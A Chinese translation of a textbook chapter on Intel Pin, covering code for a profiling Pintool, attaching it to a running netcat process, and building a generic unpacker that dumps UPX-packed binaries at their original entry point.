插入点决定了 Pin 在基本块中的哪个位置插入分析回调。在这种情况下,插入点是 IPOINT_ANYWHERE ➎,因为在基本块中的哪个位置更新指令计数器并不重要。这使得 Pin 可以优化分析回调的插入位置。表 9-2 展示了所有可能的插入点。这些不仅适用于基本块级的仪器化,还适用于指令级的仪器化及所有其他粒度。

分析例程的名称是 count_bb_insns ➏,稍后你将看到它的实现。Pin 提供了一种 AFUNPTR 类型,当你将函数指针传递给 Pin API 函数时,应该将其转换为该类型。

表 9-2: Pin 插入点

插入点 分析回调 有效性
IPOINT_BEFORE 在仪器化对象之前 总是有效
IPOINT_AFTER 在分支或“常规”指令的落空边缘 如果 INS_HasFallthroughtrue
IPOINT_ANYWHERE 在被仪器化对象的任何位置 仅适用于 TRACEBBL
IPOINT_TAKEN_BRANCH 在分支的被采纳边缘 如果 INS_IsBranchOrCalltrue

BBL_InsertCall 的必选参数之后,你可以添加可选参数来传递给分析例程。在这种情况下,有一个类型为 IARG_UINT32 ➐,值为 BBL_NumIns 的可选参数。通过这种方式,分析例程(count_bb_insns)接收一个 UINT32 类型的参数,包含基本块中的指令数量,以便按需增加指令计数器。你将在本例的其余部分和下一个例子中看到其他类型的参数。你可以在 Pin 文档中找到所有可能的参数类型的完整概述。当你传递完所有可选参数后,添加特殊参数 IARG_END ➑,告知 Pin 参数列表已经结束。

清单 9-3 中的代码最终结果是,Pin 为主应用程序中每个执行的基本块插入一个回调函数count_bb_insns,该回调通过基本块中的指令数量增加分析器的指令计数器。

9.4.4 控制流指令的仪器化

除了计算应用程序执行了多少指令,分析器还会统计控制流转移的次数,并可以选择性地统计调用次数。它使用清单 9-4 中展示的指令级仪器化例程来插入用于统计控制流转移和调用的分析回调。

清单 9-4: profiler.cpp (续)

   static void
   instrument_insn(INS ins, void *v)
   {
➊   if(!INS_IsBranchOrCall(ins)) return;

     IMG img = IMG_FindByAddress(INS_Address(ins));
     if(!IMG_Valid(img) || !IMG_IsMainExecutable(img)) return;

➋   INS_InsertPredicatedCall(
       ins, ➌IPOINT_TAKEN_BRANCH, (AFUNPTR)count_cflow,
       ➍IARG_INST_PTR, ➎IARG_BRANCH_TARGET_ADDR,
       IARG_END
     );

➏   if(INS_HasFallThrough(ins)) {
       INS_InsertPredicatedCall(
         ins, ➐IPOINT_AFTER, (AFUNPTR)count_cflow,
         IARG_INST_PTR, ➑IARG_FALLTHROUGH_ADDR,
         IARG_END
       );
     }

➒   if(INS_IsCall(ins)) {
       if(ProfileCalls.Value()) {
         INS_InsertCall(
           ins, ➓IPOINT_BEFORE, (AFUNPTR)count_call,
           IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR,
           IARG_END
         );
       }
     }
   }

名为 instrument_insn 的仪器例程接收一个 INS 对象作为其第一个参数,表示要处理的指令。首先,instrument_insn 调用 INS_IsBranchOrCall 来检查这是否是一个控制流指令 ➊。如果不是,它不会添加任何仪器。确保它处理的是控制流指令后,instrument_insn 会检查该指令是否属于主应用程序,就像你在基本块仪器中看到的那样。

处理已执行分支

为了记录控制转移和调用,instrument_insn 插入了三种不同的分析回调。首先,它使用 INS_InsertPredicatedCall ➋ 在指令的已执行分支边缘 ➌ 插入一个回调(见 图 9-5)。插入的分析回调 count_cflow 会在分支已执行时增加控制流计数器(cflow_count),并记录控制转移的源地址和目标地址。为此,分析例程需要两个参数:回调时的指令指针值(IARG_INST_PTR) ➍ 和分支已执行边缘的目标地址(IARG_BRANCH_TARGET_ADDR) ➎。

注意,IARG_INST_PTRIARG_BRANCH_TARGET_ADDR 是特殊的参数类型,其数据类型和值是隐式的。相比之下,对于 清单 9-3 中看到的 IARG_UINT32 参数,你必须分别指定类型(IARG_UINT32)和值(例如示例中的 BBL_NumIns)。

如你在 表 9-2 中看到的那样,已执行的分支边缘是分支或调用指令(INS_IsBranchOrCall 必须返回 true)的有效仪器插入点。在这种情况下,instrument_insn 开始时的检查确保它是一个分支或调用指令。

image

图 9-5:分支的“fallthrough”和“taken”边缘的插入点

注意,instrument_insn 使用 INS_InsertPredicatedCall 来插入分析回调,而不是 INS_InsertCall。一些 x86 指令,例如条件移动(cmov)和带有 rep 前缀的字符串操作,具有内建的谓词,如果满足某些条件,指令会重复执行。使用 INS_InsertPredicatedCall 插入的分析回调只有在条件成立且指令实际执行时才会被调用。相比之下,使用 INS_InsertCall 插入的回调即使在不满足重复条件的情况下也会被调用,这可能导致对指令计数的高估。

处理 Fallthrough 边缘

你刚刚看到分析器如何对控制流指令的执行路径进行插桩。然而,分析器应该记录控制转移,无论分支方向如何。换句话说,它不仅应该对执行路径进行插桩,还应该对那些有后续路径的控制流指令进行插桩(参见图 9-5)。请注意,某些指令(例如无条件跳转指令)没有后续路径,因此在尝试对指令的后续路径进行插桩之前,必须显式检查INS_HasFallthrough ➏。另外需要注意的是,根据 Pin 的定义,非控制流指令如果直接跳到下一条指令,它们也有后续路径。

如果给定的指令确实有后续路径,instrument_insn会像对执行路径那样,在该路径上插入一个分析回调到count_cflow。唯一的区别是,这个新的回调使用插入点IPOINT_AFTER ➐,并将后续地址(IARG_FALLTHROUGH_ADDR)作为目标地址进行记录 ➑。

插桩调用

最后,分析器保持一个独立的计数器和映射,跟踪被调用的函数,以便你可以看到哪些函数是优化应用程序时最有价值的选择。回想一下,要跟踪被调用的函数,你必须启用分析器的-c选项。

为了对调用进行插桩,instrument_insn首先使用INS_IsCall将调用指令与其他指令区分开来 ➒。如果当前正在插桩的指令确实是一个调用,并且-c选项已传递给 Pintool,分析器将在调用指令之前(IPOINT_BEFORE)插入一个分析回调 ➓,该回调调用一个名为count_call的分析例程,传入调用的源地址(IARG_INST_PTR)和目标地址(IARG_BRANCH_TARGET_ADDR)。需要注意的是,在这种情况下,使用INS_InsertCall而不是INS_InsertPredicatedCall是安全的,因为没有带有内置条件的调用指令。

9.4.5 计数指令、控制转移和系统调用

到目前为止,你已经看到了所有负责初始化 Pintool 并通过回调形式插入所需插桩的代码。你还没有看到的唯一代码是实际的分析例程,这些例程在应用程序运行时负责计数和记录统计信息。清单 9-5 展示了分析器使用的所有分析例程。

清单 9-5: profiler.cpp (续)

   static void
➊ count_bb_insns(UINT32 n)
   {
     insn_count += n;
   }

   static void
➋ count_cflow(➌ADDRINT ip, ADDRINT target)
   {
     cflows[target][ip]++;
     cflow_count++;
   }

   static void
➍ count_call(ADDRINT ip, ADDRINT target)
   {
     calls[target][ip]++;
     call_count++;
   }

   static void
➎ log_syscall(THREADID tid, CONTEXT *ctxt, SYSCALL_STANDARD std, VOID *v)
   {
     syscalls[➏PIN_GetSyscallNumber(ctxt, std)]++;
     syscall_count++;
   }

如你所见,分析例程非常简单,只实现了追踪所需统计数据的基本代码。这一点非常重要,因为分析例程在应用程序执行过程中被频繁调用,因此它们对 Pintool 的性能有着重要影响。

第一个分析例程 count_bb_insns ➊ 在基本块执行时被调用,它简单地通过基本块中的指令数来增加 insn_count。类似地,count_cflow ➋ 在控制流指令执行时增加 cflow_count。此外,它会记录分支的源地址和目标地址到 cflows 映射中,并增加该特定源地址和目标地址组合的计数。在 Pin 中,你使用 ADDRINT 整数类型 ➌ 来存储地址。记录调用信息的分析例程 count_call ➍ 与 count_cflow 类似。

在 清单 9-5 中的最后一个函数 log_syscall ➎,不是一个常规的分析例程,而是一个用于系统调用入口事件的回调函数。在 Pin 中,系统调用处理程序接受四个参数:一个 THREADID,用于标识发起系统调用的线程;一个 CONTEXT*,包含诸如系统调用号、参数和返回值等信息(仅对于系统调用退出处理程序);一个 SYSCALL_STANDARD 参数,标识系统调用的调用约定;最后是现在熟悉的 void*,允许你传递一个用户定义的数据结构。

请回忆一下,log_syscall 的目的是记录每个系统调用被调用的频率。为此,它调用 PIN_GetSyscallNumber 获取当前系统调用的编号 ➏,并在 syscalls 映射中记录该系统调用的命中。

现在你已经看到了性能分析器的重要代码,接下来让我们测试一下它!

9.4.6 测试性能分析器

在这个测试中,你将看到性能分析器的两个使用案例。首先,你将看到如何从一开始对应用程序的整个执行过程进行分析,然后你将学习如何将分析器 Pintool 附加到一个正在运行的应用程序上。

从一开始就对应用程序进行性能分析

清单 9-6 展示了如何从一开始就对应用程序进行性能分析。

清单 9-6: 使用性能分析器 Pintool 对 /bin/true 进行性能分析

➊ $ cd ~/pin/pin-3.6-97554-g31f0a167d-gcc-linux/
➋ $ ./pin -t ~/code/chapter9/profiler/obj-intel64/profiler.so -c -s -- /bin/true
➌ executed 95 instructions

➍ ******* CONTROL TRANSFERS *******
   0x00401000 <- 0x00403f7c:   1 (4.35%)
   0x00401015 <- 0x0040100e:   1 (4.35%)
   0x00401020 <- 0x0040118b:   1 (4.35%)
   0x00401180 <- 0x004013f4:   1 (4.35%)
   0x00401186 <- 0x00401180:   1 (4.35%)
   0x00401335 <- 0x00401333:   1 (4.35%)
   0x00401400 <- 0x0040148d:   1 (4.35%)
   0x00401430 <- 0x00401413:   1 (4.35%)
   0x00401440 <- 0x004014ab:   1 (4.35%)
   0x00401478 <- 0x00401461:   1 (4.35%)
   0x00401489 <- 0x00401487:   1 (4.35%)
   0x00401492 <- 0x00401431:   1 (4.35%)
   0x004014a0 <- 0x00403f99:   1 (4.35%)
   0x004014ab <- 0x004014a9:   1 (4.35%)
   0x00403f81 <- 0x00401019:   1 (4.35%)
   0x00403f86 <- 0x00403f84:   1 (4.35%)
   0x00403f9d <- 0x00401479:   1 (4.35%)
   0x00403fa6 <- 0x00403fa4:   1 (4.35%)
   0x7fa9f58437bf <- 0x00403fb4:   1 (4.35%)
   0x7fa9f5843830 <- 0x00401337:   1 (4.35%)
   0x7faa09235de7 <- 0x0040149a:   1 (4.35%)
   0x7faa09235e05 <- 0x00404004:   1 (4.35%)
   0x7faa0923c870 <- 0x00401026:   1 (4.35%)

➎ ******* FUNCTION CALLS *******
   [_init                         ] 0x00401000 <- 0x00403f7c:   1 (25.00%)
   [__libc_start_main@plt         ] 0x00401180 <- 0x004013f4:   1 (25.00%)
   [                              ] 0x00401400 <- 0x0040148d:   1 (25.00%)
   [                              ] 0x004014a0 <- 0x00403f99:   1 (25.00%)

➏ ******* SYSCALLS *******
     0:   1 (4.00%)
     2:   2 (8.00%)
     3:   2 (8.00%)
     5:   2 (8.00%)
     9:   7 (28.00%)
    10:   4 (16.00%)
    11:   1 (4.00%)
    12:   1 (4.00%)
    21:   3 (12.00%)
   158:   1 (4.00%)
   231:   1 (4.00%)

使用 Pin 时,你首先导航到主 Pin 目录 ➊,在那里你会找到一个名为 pin 的可执行文件,它启动 Pin 引擎。接下来,你使用你选择的 Pintool 启动应用程序,并在 pin 的控制下运行 ➋。

如你所见,pin 使用了一种特殊格式的命令行参数。-t 选项表示你想要使用的 Pintool 的路径,后面跟着你想传递给 Pintool 的任何选项。在这种情况下,使用的选项是 -c-s,用于启用对调用和系统调用的性能分析。接下来,-- 表示 Pintool 选项的结束,后面跟着你想要用 Pin 运行的应用程序的名称和选项(此案例为 /bin/true,没有任何命令行选项)。

当应用程序终止时,Pintool 会调用其 fini 函数打印记录的统计信息,然后在 fini 函数完成后,Pin 会终止自身。分析器打印关于执行指令数量 ➌、已执行的控制转移 ➍、函数调用 ➎和系统调用 ➏的统计信息。因为/bin/true是一个极其简单的程序,^(11)它在生命周期内只执行了 95 条指令。

分析器以target <- source: count的格式报告控制转移,其中 count 表示该特定分支边缘被执行的次数,以及该分支边缘占所有控制转移的百分比。在这种情况下,所有的控制转移都恰好执行了一次:显然没有出现循环或相同代码的重复执行。除了_init__libc_start_main/bin/true 只调用了两个没有已知符号名称的内部函数。使用最多的系统调用是系统调用号 9,即sys_mmap。这是因为动态加载器设置了/bin/true的地址空间。(与指令和控制转移不同,分析器确实记录了来自加载器或共享库的系统调用。)

现在你已经知道如何从一开始就运行带有 Pintool 的应用程序,让我们来看一下如何将 Pin 附加到一个已经在运行的进程。

将分析器附加到正在运行的应用程序

要将 Pin 附加到一个正在运行的进程,你可以像从一开始就为应用程序加装探针一样使用pin程序。然而,pin的选项略有不同,正如在清单 9-7 中所看到的。

清单 9-7:将分析器附加到正在运行的 netcat 进程

➊ $ echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
➋ $ nc -l -u 127.0.0.1 9999 &
   [1] ➌3100
➍ $ cd ~/pin/pin-3.6-97554-g31f0a167d-gcc-linux/
➎ $ ./pin -pid 3100 -t /home/binary/code/chapter9/profiler/obj-intel64/profiler.so -c -s
➏ $ echo "Testing the profiler" | nc -u 127.0.0.1 9999
   Testing the profiler
   ˆC
➐ $ fg
   nc -l -u 127.0.0.1 9999
   ˆC
   executed 164 instructions

➑ ******* CONTROL TRANSFERS *******
   0x00401380 <- 0x0040140b:   1 (2.04%)
   0x00401380 <- 0x0040144b:   1 (2.04%)
   0x00401380 <- 0x004014db:   1 (2.04%)
   ...
   0x7f4741177ad0 <- 0x004015e0:   1 (2.04%)
 0x7f474121b0b0 <- 0x004014d0:   1 (2.04%)
   0x7f4741913870 <- 0x00401386:   5 (10.20%)

➒ ******* FUNCTION CALLS *******
   [__read_chk@plt                ] 0x00401400 <- 0x00402dc7:   1 (11.11%)
   [write@plt                     ] 0x00401440 <- 0x00403c06:   1 (11.11%)
   [__poll_chk@plt                ] 0x004014d0 <- 0x00402eba:   2 (22.22%)
   [fileno@plt                    ] 0x004015e0 <- 0x00402d62:   1 (11.11%)
   [fileno@plt                    ] 0x004015e0 <- 0x00402d71:   1 (11.11%)
   [connect@plt                   ] 0x004016a0 <- 0x00401e80:   1 (11.11%)
   [                              ] 0x00402d30 <- 0x00401e90:   1 (11.11%)
   [                              ] 0x00403bb0 <- 0x00402dfc:   1 (11.11%)

➓ ******* SYSCALLS *******
     0:   1 (16.67%)
     1:   1 (16.67%)
     7:   2 (33.33%)
    42:   1 (16.67%)
    45:   1 (16.67%)

在某些 Linux 平台上,包括虚拟机中的 Ubuntu 发行版,存在一种安全机制,防止 Pin 附加到运行中的进程。为了允许 Pin 正常附加,你需要暂时禁用该安全机制,如清单 9-7 ➊所示(下次重启时它会自动重新启用)。此外,你还需要一个合适的测试进程来附加 Pin。清单 9-7 启动了一个后台的netcat进程,该进程在本地主机的 UDP 端口 9999 上监听 ➋。要附加到一个进程,你需要知道其 PID,可以在启动进程时记录下来 ➌,或者使用ps命令查找。

完成这些准备工作后,你现在可以导航到 Pin 文件夹 ➍ 并启动pin ➎。-pid选项告诉 Pin 附加到具有给定 PID(示例netcat进程的 PID 是 3100)的运行中进程,-t选项告诉 Pin 像往常一样指定你的 Pintool 路径。

为了促使正在监听的 netcat 进程执行一些指令,而不是阻塞等待网络输入,清单 9-7 使用另一个 netcat 实例向其发送消息“测试分析器” ➏。然后,它将监听中的 netcat 进程带到前台 ➐ 并终止它。当应用程序终止时,分析器会调用其 fini 函数,并打印出可供检查的统计信息,包括控制转移列表 ➑,被调用的函数 ➒ 和系统调用 ➓。你可以看到类似 connect 的网络相关函数调用,以及 netcat 用于接收测试消息的 sys_recvfrom 系统调用(编号 45)。

请注意,一旦你将 Pin 附加到一个正在运行的进程,它将一直保持附加状态,直到该进程终止或者你在 Pintool 内部调用 PIN_Detach。这意味着,如果你想对一个永不终止的系统进程进行插桩,你必须在 Pintool 中加入合适的终止条件。

现在让我们来看一个稍微复杂一些的 Pintool:一个能够解压混淆二进制文件的自动解包器!

9.5 使用 Pin 进行自动二进制解包

在这个示例中,你将看到如何使用 Pin 构建一个可以自动解包打包二进制文件的 Pintool。但首先,让我们简要讨论一下打包二进制文件是什么,以便你能更好地理解接下来的示例。

9.5.1 可执行打包器简介

可执行打包器,简称 打包器,是将二进制文件作为输入, “打包”该二进制文件的代码和数据段到一个压缩或加密的数据区域,生成一个新的 打包可执行文件 的程序。最初,打包器主要用于压缩二进制文件,但如今它们常被恶意软件使用,以生成更难以静态分析的二进制文件。图 9-6 展示了打包过程以及打包二进制文件的加载过程。

image

图 9-6:创建和运行打包二进制文件

图 9-6 的左侧展示了一个包含可执行头和代码与数据段的正常二进制文件 ➊。可执行头中的入口点字段指向代码段。

创建和执行打包的二进制文件

当你使用打包器处理二进制文件时,它会生成一个新的二进制文件,其中所有原始的代码和数据都被压缩或加密到打包区域 ➋(见 图 9-6)。此外,打包器还插入了一个新的代码段,包含启动代码,并将二进制文件的入口点重定向到启动代码。当你尝试静态反汇编并分析打包程序时,你只能看到打包区域和启动代码,这并不能让你了解该二进制文件在运行时的实际行为。

当你加载并执行打包的二进制文件时,启动代码将原始代码和数据提取到内存中,然后将控制权转移到二进制的原始入口点(OEP) ➌。^(12) 你将看到的自动解包 Pintool 的目的是检测启动代码将控制权转移到 OEP 的时刻,然后将解包的代码和数据转储到磁盘,以便你像处理普通二进制文件一样对其进行静态反汇编和逆向工程。

解包打包的二进制文件

有许多不同的打包器以自己的方式打包二进制文件。对于一些知名的打包器,如 UPX^(13)和 AsPack,^(14),有专门的解包工具可以自动从打包的二进制文件中提取出原始二进制文件的近似版本。然而,对于恶意软件中使用的打包器,这通常不可能,因为恶意软件作者经常自定义或从零设计打包器。要解包这种恶意软件,你必须自己构建解包工具,手动解包恶意软件(例如,使用调试器定位跳转到 OEP 并将代码转储到磁盘),或者使用通用解包器,正如你接下来将看到的那样。

通用解包器依赖于一些常见的(但并非万无一失的)运行时模式,这些模式通常是打包器的指示器,用来尝试检测跳转到原始入口点并将包含 OEP 的内存区域(理想情况下还包括其余代码)转储到磁盘。你将看到的自动解包器是一个简单的通用解包器。它假设当你运行一个打包的二进制文件时,启动代码会完全解包原始代码,将其写入内存,并随后将控制权转移到先前写入代码中的 OEP。当解包器检测到控制转移时,它会将目标内存区域转储到磁盘。

现在你已经了解了打包器的工作原理,并且对自动解包器的行为有了高层次的直觉,我们可以开始用 Pin 实现自动解包器。之后,你将学会如何使用它来解包一个 UPX 打包的二进制文件。

9.5.2 解包器的数据结构和设置代码

让我们先看看解包器的设置代码和它所涉及的数据结构。Listing 9-8 展示了解包器代码的第一部分,省略了标准 C++的包含部分。

Listing 9-8: unpacker.cpp

   #include "pin.H"

➊ typedef struct mem_access {
     mem_access()                                  : w(false), x(false), val(0) {}
     mem_access(bool ww, bool xx, unsigned char v) : w(ww)   , x(xx)   , val(v) {}
     bool w;
     bool x;
     unsigned char val;
   } mem_access_t;

➋ typedef struct mem_cluster {
     mem_cluster() : base(0), size(0), w(false), x(false) {}
     mem_cluster(ADDRINT b, unsigned long s, bool ww, bool xx)
                   : base(b), size(s), w(ww), x(xx)       {}
     ADDRINT       base;
     unsigned long size;
     bool          w;
     bool          x;
   } mem_cluster_t;

➌ FILE *logfile;
   std::map<ADDRINT, mem_access_t> shadow_mem;
   std::vector<mem_cluster_t> clusters;
   ADDRINT saved_addr;

➍ KNOB<string> KnobLogFile(KNOB_MODE_WRITEONCE, "pintool", "l", "unpacker.log", "log file");

   static void
➎ fini(INT32 code, void *v)
   {
     print_clusters();
     fprintf(logfile, "------- unpacking complete -------\n");
     fclose(logfile);
   }

   int
   main(int argc, char *argv[])
   {
➏   if(PIN_Init(argc, argv) != 0) {
       fprintf(stderr, "PIN_Init failed\n");
       return 1;
     }

➐   logfile = fopen(KnobLogFile.Value().c_str(), "a");
     if(!logfile) {
       fprintf(stderr, "failed to open '%s'\n", KnobLogFile.Value().c_str());
       return 1;
     }
     fprintf(logfile, "------- unpacking binary -------\n");

➑   INS_AddInstrumentFunction(instrument_mem_cflow, NULL);
➒   PIN_AddFiniFunction(fini, NULL);

➓   PIN_StartProgram();

     return 1;
   }

解包器通过记录写入或执行的内存字节在struct类型mem_access_t ➊中跟踪内存活动,该结构记录内存访问类型(写入或执行)以及写入字节的值。在解包过程的后期,当将内存转储到磁盘时,解包器需要对相邻的内存字节进行聚类。它使用第二个struct类型mem_cluster_t ➋来聚类这些字节,记录内存集群的基地址、大小和访问权限。

有四个全局变量 ➌。首先是一个日志文件,解包器将在其中记录解包进度和已写入的内存区域的详细信息。然后是一个名为shadow_mem的全局std::map,它是一个“影像内存”,将内存地址映射到mem_access_t对象,这些对象详细描述了对每个地址的访问和写入。名为clustersstd::vector是解包器存储所有找到的解包内存集群的地方,saved_addr是一个临时变量,用于在两个分析例程之间存储状态。

请注意,clusters可能包含多个解包的内存区域,因为某些二进制文件可能经过了多层打包。换句话说,你可以使用另一个打包工具再次打包已经打包过的二进制文件。当解包器检测到跳转到先前写入的内存区域时,它无法确定这是否是跳转到 OEP(原始入口点),还是仅仅跳转到下一个打包工具的引导代码。因此,解包器会将所有发现的候选区域转储到磁盘上,留给你自己去弄清楚哪个转储文件是最终解包后的二进制文件。

解包器只有一个命令行选项 ➍:一个string类型的选项,用于指定日志文件的名称。默认情况下,日志文件名为unpacker.log

正如你即将看到的,解包器注册了一个名为fini ➎的 fini 函数,它调用print_clusters函数,将解包器找到的所有内存集群的摘要打印到日志文件中。我在这里不会展示该函数的代码,因为它不使用任何 Pin 功能,但你将在我们测试解包器时看到它的输出。

解包器的main函数与之前看到的分析器类似。它初始化了 Pin ➏,跳过符号初始化,因为解包器不使用符号。接下来,它打开日志文件 ➐,注册一个名为instrument_mem_cflow ➑的指令级监控例程和fini函数 ➒,最后启动打包应用程序 ➓。

现在,让我们来看一下instrument_mem_cflow如何向打包程序中添加监控工具,以跟踪其内存访问和控制流活动。

9.5.3 内存写入的监控

列表 9-9 展示了instrument_mem_cflow如何对内存写入和控制流指令进行监控。

列表 9-9: unpacker.cpp (续)

   static void
   instrument_mem_cflow(INS ins, void *v)
   {
➊   if(INS_IsMemoryWrite(ins) && INS_hasKnownMemorySize(ins)) {
➋     INS_InsertPredicatedCall(
         ins, IPOINT_BEFORE, (AFUNPTR)queue_memwrite,
➌       IARG_MEMORYWRITE_EA,
         IARG_END
       );
➍     if(INS_HasFallThrough(ins)) {
➎       INS_InsertPredicatedCall(
           ins, IPOINT_AFTER, (AFUNPTR)log_memwrite,
➏         IARG_MEMORYWRITE_SIZE,
           IARG_END
         );
       }
➐     if(INS_IsBranchOrCall(ins)) {
➑       INS_InsertPredicatedCall(
           ins, IPOINT_TAKEN_BRANCH, (AFUNPTR)log_memwrite,
           IARG_MEMORYWRITE_SIZE,
           IARG_END
         );
       }
     }

➒   if(INS_IsIndirectBranchOrCall(ins) && INS_OperandCount(ins) > 0) {
➓     INS_InsertCall(
         ins, IPOINT_BEFORE, (AFUNPTR)check_indirect_ctransfer,
         IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR,
         IARG_END
      );
    }
  }

instrument_mem_cflow 插入的前三个分析回调(在 ➊ 到 ➑ 之间)用于跟踪内存写操作。它仅为那些 INS_IsMemoryWriteINS_hasKnownMemorySize 都为真的指令添加这些回调 ➊。第一个回调,INS_IsMemoryWrite,告诉你某个指令是否写入内存,而 INS_hasKnownMemorySize 告诉你写入的大小(以字节为单位)是否已知。这一点非常重要,因为解包器会将写入的字节记录在 shadow_mem 中,只有在已知写入大小时,它才能正确复制相应的字节。由于大小未知的内存写入只会出现在某些特殊用途的指令中,比如 MMX 和 SSE 指令,解包器会直接忽略这些指令。

对于每次内存写入,解包器需要知道写入地址和写入大小,以便记录所有写入的字节。不幸的是,在 Pin 中,写入地址仅在内存写入发生之前是已知的(在 IPOINT_BEFORE),但直到写入完成后才能复制已写入的字节。这就是为什么 instrument_mem_cflow 为每次写入插入多个分析程序的原因。

首先,它在每次内存写入之前,向 queue_memwrite 添加一个分析回调 ➋,该回调将写入的有效地址(IARG_MEMORYWRITE_EA ➌)保存到全局变量 saved_addr 中。然后,对于具有下行分支的内存写入指令 ➍,instrument_mem_cflow 对下行分支进行插桩,并回调 log_memwrite ➎,该回调会将所有写入的字节记录到 shadow_mem 中。IARG_MEMORYWRITE_SIZE 参数 ➏ 告诉 log_memwrite 需要记录多少字节,从 queue_memwrite 在写入前保存的 saved_addr 开始。类似地,对于发生在分支或调用中的写入 ➐,解包器会在被取走的分支 ➑ 上添加一个分析回调到 log_memwrite,确保无论应用程序在运行时选择哪个分支方向,写入都会被记录。

9.5.4 控制流指令的插桩

回顾一下,解包器的目标是检测到原始入口点的控制转移,并将解包后的二进制文件转储到磁盘上。为此,instrument_mem_cflow 对间接分支和调用 ➒ 进行插桩,并回调 check_indirect_ctransfer ➓,该分析程序会检查分支是否指向一个先前可写的内存区域,如果是,它会将该内存区域标记为可能跳转到 OEP,并将目标内存区域转储到磁盘。

请注意,为了优化性能,instrument_mem_cflow 只对间接控制转移进行插桩,因为许多加壳程序使用间接分支或调用来跳转到解包后的代码。这对于所有加壳程序来说可能并不准确,您可以轻松地更改 instrument_mem_cflow 以对所有控制转移进行插桩,而不仅仅是间接转移,但这样会导致显著的性能损失。

9.5.5 跟踪内存写入

列表 9-10 展示了负责记录内存写入的分析例程,你在前面的章节中已经看过。

列表 9-10: unpacker.cpp (续)

   static void
➊ queue_memwrite(ADDRINT addr)
   {
     saved_addr = addr;
   }

   static void
➋ log_memwrite(UINT32 size)
   {
➌   ADDRINT addr = saved_addr;
➍   for(ADDRINT i = addr; i < addr+size; i++) {
➎     shadow_mem[i].w = true;
➏     PIN_SafeCopy(&shadow_mem[i].val, (const void*)i, 1);
     }
   }

第一个分析例程queue_memwrite ➊在每次内存写入之前被调用,并将写入的地址存储在全局变量saved_addr中。回想一下,这是必要的,因为 Pin 仅允许你在IPOINT_BEFORE时检查写入的地址。

每次内存写入(在 fallthrough 或 taken 边缘上)后,都会回调log_memwrite ➋,它将所有写入的字节记录在shadow_mem中。它首先通过读取saved_addr ➌来获取写入的基地址,然后循环遍历所有写入的地址 ➍。它将每个地址标记为在shadow_mem中写入 ➎,并调用PIN_SafeCopy将写入字节的值从应用程序内存复制到shadow_mem中 ➏。

请注意,解包器必须将所有已写字节复制到自己的内存中,因为当它稍后将解包的内存转储到磁盘时,应用程序可能已经释放了该内存区域的部分内容。复制应用程序内存中的字节时,应该始终使用PIN_SafeCopy,因为 Pin 可能会修改某些内存内容。如果直接从应用程序内存读取,你会看到 Pin 写入的内容,这通常不是你想要的。相反,PIN_SafeCopy将始终显示由原始应用程序写入的内存状态,并且会安全地处理那些无法访问的内存区域而不会导致段错误。

你可能会注意到,解包器忽略了PIN _SafeCopy的返回值,该返回值表示它成功读取的字节数。对于解包器来说,如果从应用程序内存读取失败,它无能为力;解包后的代码将会被损坏。在其他 Pintools 中,你需要检查返回值并优雅地处理错误。

9.5.6 检测原始入口点并转储解包的二进制文件

解包器的最终目标是检测到跳转到 OEP 并转储解包后的代码。列表 9-11 展示了实现这一目标的分析例程。

列表 9-11: unpacker.cpp (续)

   static void
   check_indirect_ctransfer(ADDRINT ip, ADDRINT target)
   {
➊   mem_cluster_t c;

➋   shadow_mem[target].x = true;
➌   if(shadow_mem[target].w && ➍!in_cluster(target)) {
       /* control transfer to a once-writable memory region, suspected transfer
        * to original entry point of an unpacked binary */
➎     set_cluster(target, &c);
➏     clusters.push_back(c);
       /* dump the new cluster containing the unpacked region to file */
➐     mem_to_file(&c, target);
       /* we don't stop here because there might be multiple unpacking stages */
     }
   }

check_indirect_ctransfer检测到怀疑的跳转到 OEP 时,它会构建一个包含 OEP 周围所有连续字节的内存集群➊,并将其转储到磁盘。因为check_indirect_ctransfer仅在控制流指令上调用,所以它始终将目标地址标记为可执行的➋。如果目标地址位于一个曾经被写入的内存区域➌内,那么这可能是跳转到 OEP,解包器将在尚未转储该内存区域时继续转储该区域。为了检查该区域是否已被转储过,解包器调用in_cluster ➍,该函数检查是否已经存在包含目标地址的内存集群。我这里不讨论in_cluster的代码,因为它没有使用任何 Pin 功能。

image

图 9-7:控制转移到候选 OEP 后的内存集群构建

如果目标区域尚未解包,check_indirect_ctransfer会调用set_cluster ➎,将怀疑的 OEP 周围的内存集群整理成一个连续的块,以便它可以将该块转储到磁盘,并将该块存储到clusters ➏中,这是所有已解包区域的全局列表。我不会在这里详细讲解set_cluster的代码,但图 9-7 展示了它如何从怀疑的 OEP 开始,在shadow_mem中前后搜索,扩展集群,覆盖所有已写入的相邻字节,直到它遇到一个未写入内存位置的“间隙”。

接下来,check_indirect_ctransfer通过将刚构建的内存集群转储到磁盘来解包它 ➐。解包器不会假设解包已经成功并退出应用程序,而是继续像之前一样运行,因为可能还有另一层打包需要发现和解包。

9.5.7 测试解包器

现在让我们通过使用自动解包器来测试它,解包一个用 UPX 打包的可执行文件,UPX 是一个著名的打包工具,您可以通过apt install upx在 Ubuntu 上安装。列表 9-12 展示了如何用 UPX 打包一个测试二进制文件(本章的Makefile会自动执行此操作)。

列表 9-12:用 UPX 打包/bin/ls*

➊ $ cp /bin/ls packed
➋ $ upx packed
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2013
   UPX 3.91         Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

           File size         Ratio      Format      Name
      --------------------   ------   -----------   -----------
➌     126584 ->     57188   45.18%  linux/ElfAMD   packed

   Packed 1 file.

在这个例子中,先将/bin/ls复制到一个名为packed的文件中 ➊,然后用 UPX 打包 ➋。UPX 报告说它已成功打包该二进制文件并将其压缩到原始大小的 45.18% ➌。您可以通过在 IDA Pro 中查看该二进制文件来确认它已被打包,正如图 9-8 所示。正如您所看到的,打包的二进制文件包含的函数数量远少于大多数二进制文件;IDA 只找到了四个函数,因为其他所有函数都被打包。您还可以使用 IDA 查看是否有一个大区域的数据显示着打包的代码和数据(该区域在图中未显示)。

image

图 9-8:IDA Pro 中显示的打包二进制文件

现在,让我们测试解包器从打包的二进制文件中恢复ls的原始代码和数据的能力。列表 9-13 展示了如何使用解包器。

列表 9-13:测试二进制解包器

   $ cd ~/pin/pin-3.6-97554-g31f0a167d-gcc-linux/
➊ $ ./pin -t ~/code/chapter9/unpacker/obj-intel64/unpacker.so -- ~/code/chapter9/packed
➋ doc  extlicense  extras  ia32  intel64  LICENSE  pin  pin.log  README  redist.txt  source
